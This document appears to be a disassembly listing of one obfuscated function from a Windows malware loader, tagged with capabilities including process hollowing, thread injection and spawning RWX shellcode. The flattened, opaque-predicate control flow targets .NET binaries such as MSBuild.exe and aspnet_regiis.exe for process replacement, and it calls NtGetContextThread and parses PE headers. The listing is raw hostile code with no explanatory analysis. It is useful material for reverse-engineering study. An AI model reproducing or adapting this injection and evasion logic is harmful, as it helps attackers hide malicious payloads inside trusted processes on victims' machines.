Function at 0x100144c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
mov eax, dword [0x10096080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x108], 0xa87ca011
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
sub eax, 0x8009ed5f
je 0x10017189
jmp 0x100144fc
mov eax, dword [ebp - 0x10c]
sub eax, 0x8086c65a
je 0x1001611d
jmp 0x10014512
mov eax, dword [ebp - 0x10c]
sub eax, 0x80954e85
je 0x10019b24
jmp 0x10014528
mov eax, dword [ebp - 0x10c]
sub eax, 0x8330fa5f
je 0x100166e5
jmp 0x1001453e
mov eax, dword [ebp - 0x10c]
sub eax, 0x836912ee
je 0x10019f6b
jmp 0x10014554
mov eax, dword [ebp - 0x10c]
sub eax, 0x848f6082
je 0x10019933
jmp 0x1001456a
mov eax, dword [ebp - 0x10c]
sub eax, 0x84984fbe
je 0x10019302
jmp 0x10014580
mov eax, dword [ebp - 0x10c]
sub eax, 0x84d0c769
je 0x1001798b
jmp 0x10014596
mov eax, dword [ebp - 0x10c]
sub eax, 0x85b7ca1e
je 0x10017d61
jmp 0x100145ac
mov eax, dword [ebp - 0x10c]
sub eax, 0x86589521
je 0x10018d6a
jmp 0x100145c2
mov eax, dword [ebp - 0x10c]
sub eax, 0x8691f79e
je 0x10017198
jmp 0x100145d8
mov eax, dword [ebp - 0x10c]
sub eax, 0x87b02962
je 0x10018d9b
jmp 0x100145ee
mov eax, dword [ebp - 0x10c]
sub eax, 0x88b166df
je 0x100186b1
jmp 0x10014604
mov eax, dword [ebp - 0x10c]
sub eax, 0x8a2e1b4e
je 0x100170a5
jmp 0x1001461a
mov eax, dword [ebp - 0x10c]
sub eax, 0x8acf2a6c
je 0x10016508
jmp 0x10014630
mov eax, dword [ebp - 0x10c]
sub eax, 0x8cffbbab
je 0x10018ad4
jmp 0x10014646
mov eax, dword [ebp - 0x10c]
sub eax, 0x8e5dabb7
je 0x10018570
jmp 0x1001465c
mov eax, dword [ebp - 0x10c]
sub eax, 0x8e94d1ed
je 0x10018490
jmp 0x10014672
mov eax, dword [ebp - 0x10c]
sub eax, 0x8f8fc633
je 0x10019db9
jmp 0x10014688
mov eax, dword [ebp - 0x10c]
sub eax, 0x90aaf8c2
je 0x100163a8
jmp 0x1001469e
mov eax, dword [ebp - 0x10c]
sub eax, 0x911903e3
je 0x10019f3c
jmp 0x100146b4
mov eax, dword [ebp - 0x10c]
sub eax, 0x91d0b030
je 0x10019e47
jmp 0x100146ca
mov eax, dword [ebp - 0x10c]
sub eax, 0x92aee3d4
je 0x100195c5
jmp 0x100146e0
mov eax, dword [ebp - 0x10c]
sub eax, 0x9395e209
je 0x1001806f
jmp 0x100146f6
mov eax, dword [ebp - 0x10c]
sub eax, 0x96013776
je 0x10018fe6
jmp 0x1001470c
mov eax, dword [ebp - 0x10c]
sub eax, 0x96ed4757
je 0x100170ca
jmp 0x10014722
mov eax, dword [ebp - 0x10c]
sub eax, 0x9775eae2
je 0x10016eaf
jmp 0x10014738
mov eax, dword [ebp - 0x10c]
sub eax, 0x9877d1aa
je 0x10017f75
jmp 0x1001474e
mov eax, dword [ebp - 0x10c]
sub eax, 0x9b6b63bf
je 0x10019a32
jmp 0x10014764
mov eax, dword [ebp - 0x10c]
sub eax, 0x9d8fc25d
je 0x100189c6
jmp 0x1001477a
mov eax, dword [ebp - 0x10c]
sub eax, 0x9e340456
je 0x10017725
jmp 0x10014790
mov eax, dword [ebp - 0x10c]
sub eax, 0x9e84cf47
je 0x1001638a
jmp 0x100147a6
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ecab8cf
je 0x10017ec2
jmp 0x100147bc
mov eax, dword [ebp - 0x10c]
sub eax, 0xa01bf489
je 0x100197c6
jmp 0x100147d2
mov eax, dword [ebp - 0x10c]
sub eax, 0xa093d294
je 0x10019d08
jmp 0x100147e8
mov eax, dword [ebp - 0x10c]
sub eax, 0xa29eecd8
je 0x10016603
jmp 0x100147fe
mov eax, dword [ebp - 0x10c]
sub eax, 0xa473c9ca
je 0x10019bfe
jmp 0x10014814
mov eax, dword [ebp - 0x10c]
sub eax, 0xa5ac2b1d
je 0x1001829f
jmp 0x1001482a
mov eax, dword [ebp - 0x10c]
sub eax, 0xa5f1fb7c
je 0x10019c69
jmp 0x10014840
mov eax, dword [ebp - 0x10c]
sub eax, 0xa66bb18d
je 0x1001a047
jmp 0x10014856
mov eax, dword [ebp - 0x10c]
sub eax, 0xa716ec2d
je 0x10017a70
jmp 0x1001486c
mov eax, dword [ebp - 0x10c]
sub eax, 0xa7181350
je 0x10017819
jmp 0x10014882
mov eax, dword [ebp - 0x10c]
sub eax, 0xa840edce
je 0x10019605
jmp 0x10014898
mov eax, dword [ebp - 0x10c]
sub eax, 0xa87ca011
je 0x10015fa5
jmp 0x100148ae
mov eax, dword [ebp - 0x10c]
sub eax, 0xa909d3ce
je 0x10019420
jmp 0x100148c4
mov eax, dword [ebp - 0x10c]
sub eax, 0xa9ef3020
je 0x10016877
jmp 0x100148da
mov eax, dword [ebp - 0x10c]
sub eax, 0xaa21c67d
je 0x10017535
jmp 0x100148f0
mov eax, dword [ebp - 0x10c]
sub eax, 0xaa6ddf9d
je 0x10018a86
jmp 0x10014906
mov eax, dword [ebp - 0x10c]
sub eax, 0xab8db57c
je 0x1001692a
jmp 0x1001491c
mov eax, dword [ebp - 0x10c]
sub eax, 0xadfdf394
je 0x10016e91
jmp 0x10014932
mov eax, dword [ebp - 0x10c]
sub eax, 0xaeadc80d
je 0x100174b2
jmp 0x10014948
mov eax, dword [ebp - 0x10c]
sub eax, 0xaf36f14e
je 0x100183db
jmp 0x1001495e
mov eax, dword [ebp - 0x10c]
sub eax, 0xaf40b9aa
je 0x1001907c
jmp 0x10014974
mov eax, dword [ebp - 0x10c]
sub eax, 0xaf5b6cae
je 0x10016685
jmp 0x1001498a
mov eax, dword [ebp - 0x10c]
sub eax, 0xb089aaf8
je 0x10018953
jmp 0x100149a0
mov eax, dword [ebp - 0x10c]
sub eax, 0xb0e82dc1
je 0x100161a6
jmp 0x100149b6
mov eax, dword [ebp - 0x10c]
sub eax, 0xb0fab360
je 0x1001a023
jmp 0x100149cc
mov eax, dword [ebp - 0x10c]
sub eax, 0xb2d514f8
je 0x10019cf2
jmp 0x100149e2
mov eax, dword [ebp - 0x10c]
sub eax, 0xb2d9c899
je 0x10017a10
jmp 0x100149f8
mov eax, dword [ebp - 0x10c]
sub eax, 0xb2e36434
je 0x1001921e
jmp 0x10014a0e
mov eax, dword [ebp - 0x10c]
sub eax, 0xb3434592
je 0x10017f32
jmp 0x10014a24
mov eax, dword [ebp - 0x10c]
sub eax, 0xb3587c6c
je 0x10018ecf
jmp 0x10014a3a
mov eax, dword [ebp - 0x10c]
sub eax, 0xb3dac4d2
je 0x10019e62
jmp 0x10014a50
mov eax, dword [ebp - 0x10c]
sub eax, 0xb47cb10d
je 0x10018668
jmp 0x10014a66
mov eax, dword [ebp - 0x10c]
sub eax, 0xb4f21da3
je 0x10019dde
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcb469a1b
mov ecx, 0xba9bc5c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dword [ebp - 0x108], 0xe309ea5a
jmp 0x1001a051
mov byte [ebp - 0xe9], 1
mov dword [ebp - 0x108], 0xb82fc47
jmp 0x1001a051
mov dword [ebp - 0x108], 0x2b4e6a5c
jmp 0x1001a051
mov dword [ebp - 0xf0], 0xefb8ec1
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x108], 0xb790ed08
jmp 0x1001a051
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
mov edx, ecx
add edx, 0x891f3a11
sub edx, 1
sub edx, 0x891f3a11
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d3c5408
mov ecx, 0x5f4dda11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x8c], eax
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
mov edx, ecx
sub edx, 0xe64083c9
sub edx, 1
add edx, 0xe64083c9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc0ff00b8
mov ecx, 0xaf5b6cae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dword [ebp - 0x108], 0x36503749
jmp 0x1001a051
mov eax, dword [ebp - 0x8c]
cmp eax, 0xefb8f15
setle al
and al, 1
mov byte [ebp - 0x85], al
mov eax, dword [0x1009764c]
mov ecx, dword [0x10097648]
mov edx, eax
sub edx, 0x6e5b7471
sub edx, 1
add edx, 0x6e5b7471
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4d38ac7e
mov ecx, 0x733503a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov eax, dword [0x1009764c]
mov ecx, dword [0x10097648]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa473c9ca
mov ecx, 0x142544c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dword [ebp - 0x108], 0x2e95405c
jmp 0x1001a051
mov dword [ebp - 0x108], 0xdd3b197a
jmp 0x1001a051
mov byte [ebp - 0xf2], 0
mov dword [ebp - 0x108], 0xefa1d6d7
jmp 0x1001a051
mov dword [ebp - 0x108], 0x8691f79e
jmp 0x1001a051
mov eax, dword [0x1009764c]
mov ecx, dword [0x10097648]
mov edx, eax
add edx, 0xf3224bc2
sub edx, 1
sub edx, 0xf3224bc2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6c9e63e0
mov ecx, 0x12e00055
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dword [ebp - 0x108], 0x8691f79e
jmp 0x1001a051
mov eax, dword [0x1009764c]
mov ecx, dword [0x10097648]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb7d1b6f4
mov ecx, 0x41c56e52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dl, byte [ebp - 0x75]
mov eax, 0x72f7036d
mov ecx, 0x4d11deb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dword [ebp - 0x108], 0x259aaf5
jmp 0x1001a051
mov dword [ebp - 0x108], 0x6a6e10a8
jmp 0x1001a051
mov dword [ebp - 0x108], 0xf94a552d
jmp 0x1001a051
mov dword [ebp - 0x108], 0xde8033af
jmp 0x1001a051
mov eax, dword [0x1009764c]
mov ecx, dword [0x10097648]
mov edx, eax
sub edx, 0x26b409a3
sub edx, 1
add edx, 0x26b409a3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x25f69d66
mov ecx, 0x70a6de3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov byte [ebp - 0xfa], 0
mov dword [ebp - 0x108], 0x1249d2fe
jmp 0x1001a051
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a28161b
mov ecx, 0x51a74634
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov byte [ebp - 0xfb], 1
mov al, byte [ebp - 0xfb]
mov byte [ebp - 0x6e], al
mov eax, dword [0x1009764c]
mov ecx, dword [0x10097648]
mov edx, eax
sub edx, 0xd99600f3
sub edx, 1
add edx, 0xd99600f3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54d0529
mov ecx, 0x393bc0fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dl, byte [ebp - 0x6e]
mov eax, 0x616bc673
mov ecx, 0x9877d1aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
mov edx, ecx
add edx, 0xaa04ba8b
sub edx, 1
sub edx, 0xaa04ba8b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xca98baf6
mov ecx, 0xc81e91f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dl, 1
mov eax, 0x693238b1
mov ecx, 0x4a607a31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dword [ebp - 0x100], 0xefb8f1d
mov eax, dword [0x1009764c]
mov ecx, dword [0x10097648]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4f21da3
mov ecx, 0xeb39bc7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov eax, dword [ebp - 0x100]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x6c], eax
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
mov edx, ecx
add edx, 0xdbfb2a70
sub edx, 1
sub edx, 0xdbfb2a70
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7c642de4
mov ecx, 0x4c2e3b74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
mov edx, ecx
sub edx, 0x3b776f38
sub edx, 1
add edx, 0x3b776f38
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc5bdc93e
mov ecx, 0xe65446ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dword [ebp - 0x108], 0xf750512e
jmp 0x1001a051
mov dword [ebp - 0x108], 0xbf1d5fe1
jmp 0x1001a051
mov dword [ebp - 0x108], 0x6f47713f
jmp 0x1001a051
mov dword [ebp - 0x108], 0xb8d5245d
jmp 0x1001a051
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x5c]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x3f7922d3
jmp 0x1001a051
mov dword [ebp - 0x108], 0xe9d46986
jmp 0x1001a051
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
mov edx, ecx
add edx, 0xdb4b4e43
sub edx, 1
sub edx, 0xdb4b4e43
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbcdad242
mov ecx, 0xd7101595
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov eax, dword [ebp - 0xc4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dl, byte [eax]
mov eax, 0x87b02962
mov ecx, 0x49f19337
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov eax, dword [ebp - 0xc4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x555b8d1f
jmp 0x1001a051
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0x49], al
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
mov edx, ecx
sub edx, 0xa94a3113
sub edx, 1
add edx, 0xa94a3113
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf8af80b0
mov ecx, 0xf3a12209
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10010ca0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
mov edx, ecx
add edx, 0x107881ca
sub edx, 1
sub edx, 0x107881ca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x911903e3
mov ecx, 0xaf40b9aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov dword [ebp - 0x108], 0x6af7d7e7
jmp 0x1001a051
mov ecx, dword [0x1009764c]
mov eax, dword [0x10097648]
mov edx, ecx
add edx, 0x8d4134e1
sub edx, 1
sub edx, 0x8d4134e1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x836912ee
mov ecx, 0x47d6805a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov eax, dword [ebp - 0x3c]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0x40]
mov eax, 0xa909d3ce
mov ecx, 0xfb051d97
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov eax, dword [0x1009764c]
mov ecx, dword [0x10097648]
mov edx, eax
add edx, 0x9854c7c4
sub edx, 1
sub edx, 0x9854c7c4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x540eda74
mov ecx, 0x60e26ae6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1001a051
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x1d], al
mov dword [ebp - 0x108], 0xb72ee789
jmp 0x1001a051
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0x7bbe228e
sub ecx, eax
sub ecx, 0x7bbe228e
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xa0]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x108], 0xe17c52b0
jmp 0x1001a051
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x108], 0x1ff2193e
jmp 0x1001a051
mov dword [ebp - 0x108], 0xd9a59d1b
jmp 0x1001a051
mov dword [ebp - 0x108], 0x25f335e4
jmp 0x1001a051
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002d900
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0x108], 0x142544c7
jmp 0x1001a051
mov byte [ebp - 0xf2], 1
mov dword [ebp - 0x108], 0xd10b4f76
jmp 0x1001a051
mov byte [ebp - 0xf9], 0
mov dword [ebp - 0x108], 0xfc437a6d
jmp 0x1001a051
mov byte [ebp - 0xf9], 1
mov dword [ebp - 0x108], 0xa8783b
jmp 0x1001a051
mov byte [ebp - 0xfb], 1
mov dword [ebp - 0x108], 0xd0012d36
jmp 0x1001a051
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0xefb8ee2
mov dword [ebp - 0x108], 0x3ad54cdf
jmp 0x1001a051
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0
mov dword [ebp - 0x108], 0xf99b9d8a
jmp 0x1001a051
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10010ca0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x96013776
jmp 0x1001a051
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x108], 0x47d6805a
jmp 0x1001a051
mov dword [ebp - 0x108], 0x72bf50b
jmp 0x1001a051
mov dword [ebp - 0x108], 0xbff8be1e
jmp 0x100144e0